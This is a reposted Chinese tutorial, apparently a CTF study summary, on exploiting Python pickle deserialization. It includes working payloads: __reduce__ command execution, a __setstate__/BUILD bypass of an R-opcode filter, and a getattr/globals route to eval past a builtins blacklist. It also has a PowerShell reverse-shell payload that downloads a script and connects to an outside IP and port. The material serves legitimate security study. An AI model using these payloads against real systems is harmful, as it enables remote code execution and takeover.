安基網 首頁 編程 Python 查看內容

黑客分享,python反序列化攻擊

2020-5-24 12:23| 投稿: xiaotiger |來自: 互聯網


免責聲明:本站系公益性非盈利IT技術普及網,本文由投稿者轉載自互聯網的公開文章,文末均已注明出處,其內容和圖片版權歸原網站或作者所有,文中所述不代表本站觀點,若有無意侵權或轉載不當之處請從網站右下角聯系我們處理,謝謝合作!

摘要: 前言本文主要對CTF中常見的python反序列化利用技術進行學習總結。picklepickle是python用來反序列化和序列化的模塊。在該模塊中有兩個主要的類_Unpickler類和_Pickler,前者在反序列化的時候用到,后者在序列化的時候用到。python用pickle.dumps()進行序列化,用pickle.loads()進行反序列化有一點需要注 ...


前言

本文主要對CTF中常見的python反序列化利用技術進行學習總結。

pickle

pickle是python用來反序列化和序列化的模塊。在該模塊中有兩個主要的類_Unpickler類和_Pickler,前者在反序列化的時候用到,后者在序列化的時候用到。python用pickle.dumps()進行序列化,用pickle.loads()進行反序列化

有一點需要注意:對于我們自己定義的class,如果直接以形如date = 20191029的方式賦初值,則這個date不會被打包!解決方案是寫一個_init_方法

ps:本文都是基于python3。pickle是向下兼容的。

pickletools

pickletools是python自帶的pickle調試器,有三個功能:反匯編一個已經被打包的字符串、優化一個已經被打包的字符串、返回一個迭代器來供程序使用。我們一般使用前兩種。

反匯編序列化的字符串:pickletools.dis()

優化一個序列化的字符串:pickletools.optimize()

所謂“優化”,其實就是把不必要的PUT指令給刪除掉。這個PUT意思是把當前棧的棧頂復制一份,放進儲存區——很明顯,我們這個class并不需要這個操作,可以省略掉這些PUT指令

匯編指令的分析

https://zhuanlan.zhihu.com/p/89132768

這篇文章講的很清楚,可以跟著例子過一遍。需要注意的是文章沒有提到X這個操作符,這個操作符跟V一樣是讀入字符串,不過它后面緊跟的是四個字節,代表了一個數字(小端序),如x04x00x00x00,值為4,表示下面跟著的utf8編碼的字符串的長度,如后面跟著的name。V是直接跟字符,然后以n分隔。在文章最后,也有我自己關于這些指令的理解。

在了解了python基本的反序列化原理之后,我們來看幾種攻擊手段和相關的CTF題。

__reduce__

__reduce__是一個魔術方法,__reduce__ 被定義之后,當對象被Pickle時就會被調用。它要求pickle對他進行怎樣的序列化。對應的指令碼是R,而R指令碼的操作是:

  • 取當前棧的棧頂記為args,然后把它彈掉。
  • 取當前棧的棧頂記為f,然后把它彈掉。
  • 以args為參數,執行函數f,把結果壓進當前棧

一種很流行的攻擊思路是:利用 __reduce__ 構造惡意字符串,當這個字符串被反序列化的時候,惡意代碼會被執行。

import pickle
import pickletools
import os
class A(object):
def __reduce__(self):
cmd = "whoami"
return (os.system,(cmd,))
a=A()
b=pickle.dumps(a)
print(b)
pickle.loads(b)

c指令碼的妙用

c指令會讀出兩個字符串(用n分割),然后傳入find_class方法。查看源碼可以看到c指令其實就是獲得模塊的屬性。

來看這樣一段源代碼

import pickle
import stao
import base64
class Animal:
def __init__(self, name, category):
self.name = name
self.category = category


def __eq__(self, other):
return type(other) is Animal and self.name == other.name and self.category == other.category
def check(data):
if b'R' in data:
return 'no reduce!'
x=pickle.loads(data)
if(x!= Animal(stao.name,stao.age)):
return 'not equal'
return 'well done!'
print(check(base64.b64decode(input())))

禁用了R指令,所以不能直接用reduce的辦法,但是我們可以直接用C指令在反序列化的時候用stao里的屬性來賦值。

正常的Animal實例序列化后的字符串:

這里,我們只需用cstaonnamen,cstaonagen,來替換對應的Xx04x00x00x00stao,Xx03x00x00x00ctf。

將payload進行base64編碼,然后傳進題目。

可以看到,成功用stao模塊的屬性來實例化了一個Animal類

繞過c指令module限制

前面提到過,c指令(也就是GLOBAL指令)基于find_class這個方法, 然而findclass是可以被重寫。如果find_class只允許c指令包含_main__這一個module,這道題又該如何解決呢?我們在之前的代碼上,寫一個類,繼承pickle的Unpickler,然后重寫find_class方法。

import pickle
import stao
import base64
import io
import sys
class RestrictedUnpickler(pickle.Unpickler):

def find_class(self, module, name):
if module == '__main__':
return getattr(sys.modules['__main__'], name)
raise pickle.UnpicklingError("global '%s.%s' is forbidden" % (module, name))


def restricted_loads(s):
return RestrictedUnpickler(io.BytesIO(s)).load()
class Animal:
def __init__(self, name, category):
self.name = name
self.category = category


def __eq__(self, other):
return type(other) is Animal and self.name == other.name and self.category == other.category
def check(data):
if b'R' in data:
return 'no reduce!'
x=restricted_loads(data)
if(x!= Animal(stao.name,stao.age)):
return 'not equal'
return 'well done! {} {}'.format(stao.name,stao.age)
print(check(base64.b64decode(input())))

通過GLOBAL指令引入的變量,可以看作是原變量的引用。我們在棧上修改它的值,會導致原變量也被修改!而且我們可以通過__main__.stao引入這一個module

所以我們的思路是:

  • 通過__main__.stao引入這一個module
  • 把一個dict壓進棧,內容是{‘name’: ‘stao’, ‘age’: ‘ctf’}
  • 執行BUILD指令,會導致改寫 __main__.stao.name和 __main__.stao.age ,至此stao.name和stao.age已經被篡改成我們想要的內容
  • 彈掉棧頂,現在棧變成空的
  • 照抄正常的Animal序列化之后的字符串,壓入一個正常的Animal對象,name和category分別是’stao’和’ctf’
  • 由于棧頂是正常的Animal對象,pickle.loads將會正常返回。 payload:b'x80x03c__main__nstaon}(Xx04x00x00x00nameXx04x00x00x00staoXx03x00x00x00ageXx03x00x00x00ctfub0c__main__nAnimaln)x81}(Xx04x00x00x00nameXx04x00x00x00staoXx08x00x00x00categoryXx03x00x00x00ctfub.'

base64編碼后,傳進題目?梢钥吹轿覀兂晒π薷牧藄tao的屬性

不用reduce,也能RCE

前面談到過,__reduce__與R指令是綁定的,禁止了R指令就禁止了__reduce__ 方法。那么,在禁止R指令的情況下,我們還能RCE嗎?b指令是用來更新實例的。

  • 把當前棧棧頂存進state,然后彈掉。
  • 把當前棧棧頂記為inst,然后彈掉。
  • 利用state這一系列的值來更新實例inst。把得到的對象扔進當前棧。

值得注意的是:如果inst擁有__setstate__方法,則把state交給__setstate__方法來處理;否則的話,直接把state這個dist的內容,合并到inst.__dict__ 里面。(在前面分享的文章中有介紹)。那么我們是否可以利用{‘__setstate__‘: os.system}來BUILD一個原先沒有__setstate__方法的對象.使對象的__setstate__就變成了os.system;接下來利用”whoami”來再次BUILD這個對象,來執行setstate(“whoami”) ,而此時__setstate__已經被我們設置為os.system,因此實現了RCE.

構造payload:b=b'x80x03c__main__nAnimaln)x81}(V__setstate__ncosnsystemnubVwhoaminb0c__main__nAnimaln)x81}(Xx04x00x00x00nameXx04x00x00x00staoXx08x00x00x00categoryXx03x00x00x00ctfub.'

反序列化字符串,可以看到成功執行命令

這里在執行命令之后,用指令0彈出棧頂元素,再重新寫一個正常的Animal對象,是為了防止反序列化的時候出錯。

來試一下反彈shell

b=b'x80x03c__main__nAnimaln)x81}(V__setstate__ncosnsystemnubVpowershell iex (New-Object Net.WebClient).DownloadString('http://127.0.0.1/Invoke-PowerShellTcp.ps1');Invoke-PowerShellTcp -Reverse -IPAddress 121.196.193.160 -Port 8080nb0c__main__nAnimaln)x81}(Xx04x00x00x00nameXx04x00x00x00staoXx08x00x00x00categoryXx03x00x00x00ctfub.'

成功反彈

構造模塊存儲到memo,然后再次調用

來看這樣一段代碼:

import pickle
import base64
import builtins
import io
class RestrictedUnpickler(pickle.Unpickler):
blacklist = {'eval', 'exec', 'execfile', 'compile', 'open', 'input', '__import__', 'exit'}
def find_class(self, module, name):
if module == "builtins" and name not in self.blacklist:
return getattr(builtins, name)

raise pickle.UnpicklingError("global '%s.%s' is forbidden" %(module, name))


def restricted_loads(s):
return RestrictedUnpickler(io.BytesIO(s)).load()

restricted_loads(base64.b64decode(input()))

代碼限定了c指令只能用builtins這個模塊,而且過濾了一些執行命令的方法。但是沒有禁止getattr這個方法,因此我們可以構造builtins.getattr(builtins, ‘eval’)的方法來構造eval函數.

接下來我們得構造出一個builtins模塊來傳給getattr的第一個參數,因為find_class限制了我們c指令只能用builtins模塊,所以我們來看看這個模塊里面有什么辦法能產生出builtins模塊。globals()函數會以字典類型返回當前位置的全部全局變量。builtins模塊中有這個方法,而且全局變量中是有builtins模塊的。

globals()函數返回的是一個字典,所以我們還得從字典中提取出builtins模塊。python中用get方法通過指定鍵值來獲得字典中的一個值。所以我們可以提取字典中的get辦法。

構造builtins模塊的思路我們已經有了,接下來就是寫指令。首先來看下獲得get方法的指令。

b"x80x03cbuiltinsngetattrncbuiltinsndictnVgetnx86R."

再來看下怎么執行globals函數來獲得字典。

b"x80x03cbuiltinsnglobalsn)R."

字典有了,get方法有了,下面就是用get方法來獲得字典中的值并存入memo,以便后續調用。

b"x80x03cbuiltinsngetattrncbuiltinsndictnVgetnx86R(cbuiltinsnglobalsn)RVbuiltinsntRp1n."

成功構造,現在我們可以構造eval函數了,使用g1獲取剛才的builtins,從而獲得eval方法

b"x80x03cbuiltinsngetattrncbuiltinsndictnVgetnx86R(cbuiltinsnglobalsn)RVbuiltinsntRp1ncbuiltinsngetattrng1nVevalnx86R."

成功獲得eval函數,現在我們可以利用這個函數來執行命令

b'x80x03cbuiltinsngetattrncbuiltinsndictnVgetnx86R(cbuiltinsnglobalsn)RVbuiltinsntRp1ncbuiltinsngetattrng1nVevalnx86RV__import__("os").system("whoami")nx85R.'

可以看到成功執行了命令。將payload編碼然后傳入題目,也可以成功執行命令

思路和題目來自:https://xz.aliyun.com/t/5306#toc-2

關于指令的理解

在看了幾篇博客以及pickle的源碼之后,對各指令的作用的理解如下(如有錯誤,歡迎指出哦):

  • ),}是向堆棧中壓入一個空元組,空字典
  • ( 我的理解是,在堆棧中壓入一個特殊的標志,后面的操作是在這個標志之內進行的,最后可以用t或u來生成字元組或字典。
  • t 將第一個(和t之前的元素當作一個元組,壓入堆棧。

  • u 將第一個(和u之間的元素兩兩一對,前面的為鍵,后面的為值,存進棧頂的空字典,壓入堆棧。要注意的是,棧頂必須事先有個空字典。

  • c 比較容易理解,就是傳入兩個參數(用n分隔)給find_class方法,通常是用來獲取一個模塊中的屬性。如cstaonnamen
  • b call __setstate__ or __dict__.update(),即用來更新實例,如果實例中有setstate方法,則按setstate方法操作,否則就是將字典直接合并到實例的字典中。
  • x81 從棧中先彈出一個元素,記為args;再彈出一個元素,記為cls。接下來,執行cls.__new__(cls, *args) ,然后把得到的東西壓進棧。說人話,那就是:從棧中彈出一個參數和一個class,然后利用這個參數實例化class,把得到的實例壓進棧。
  • x85 將棧頂的元素彈進元組,壓入堆棧。x86 是將從棧頂開始的兩個元素彈進元組,壓入堆棧,x87 是三個。
  • p 將棧頂元素存入memo,索引是一個字符串。如p1n
  • g push item from memo on stack; index is string arg 和p相反的操作
  • r 取當前棧的棧頂記為args,然后把它彈掉;取當前棧的棧頂記為f,然后把它彈掉;以args為參數,執行函數f,把結果壓進當前棧.
  • X 將字符串壓入堆棧,后面跟四個字節代表字符串的長度。如Xx04x00x00x00stao
  • V 將字符串壓入堆棧,用n分隔。如VstaonVctfn
  • S 將字符串壓入堆棧,要帶引號,用n分隔。如S’stao’n
  • 0 將棧頂彈出。

需要注意的是:

  • 其他模塊的load也可以觸發pickle反序列化漏洞。例如:numpy.load()先嘗試以numpy自己的數據格式導入;如果失敗,則嘗試以pickle的格式導入。因此numpy.load()也可以觸發pickle反序列化漏洞。
  • for i in sys.modules['builtins'].__dict__: print(i)可以用這個辦法查看模塊中的屬性。

安界網,網絡安全精英的教練場,關注私信,索取免費資料,帶你領略黑客的神秘世界!



小編推薦:欲學習電腦技術、系統維護、網絡管理、編程開發和安全攻防等高端IT技術,請 點擊這里 注冊賬號,公開課頻道價值萬元IT培訓教程免費學,讓您少走彎路、事半功倍,好工作升職加薪!

本文出自:https://www.toutiao.com/a6829948609006404104/

免責聲明:本站系公益性非盈利IT技術普及網,本文由投稿者轉載自互聯網的公開文章,文末均已注明出處,其內容和圖片版權歸原網站或作者所有,文中所述不代表本站觀點,若有無意侵權或轉載不當之處請從網站右下角聯系我們處理,謝謝合作!


鮮花

握手

雷人

路過

雞蛋

相關閱讀

最新評論

 最新
返回頂部
洗衣店赚钱联系澳洁 申穆投资 东方财富股票行情网 江苏体彩十一选五技巧 双面盘时时彩平台 幸运农场计划 股票涨跌原理百度百科 贵州11选5 一定牛 新浪股票行情 时时彩作弊神器软件 深圳风采走势图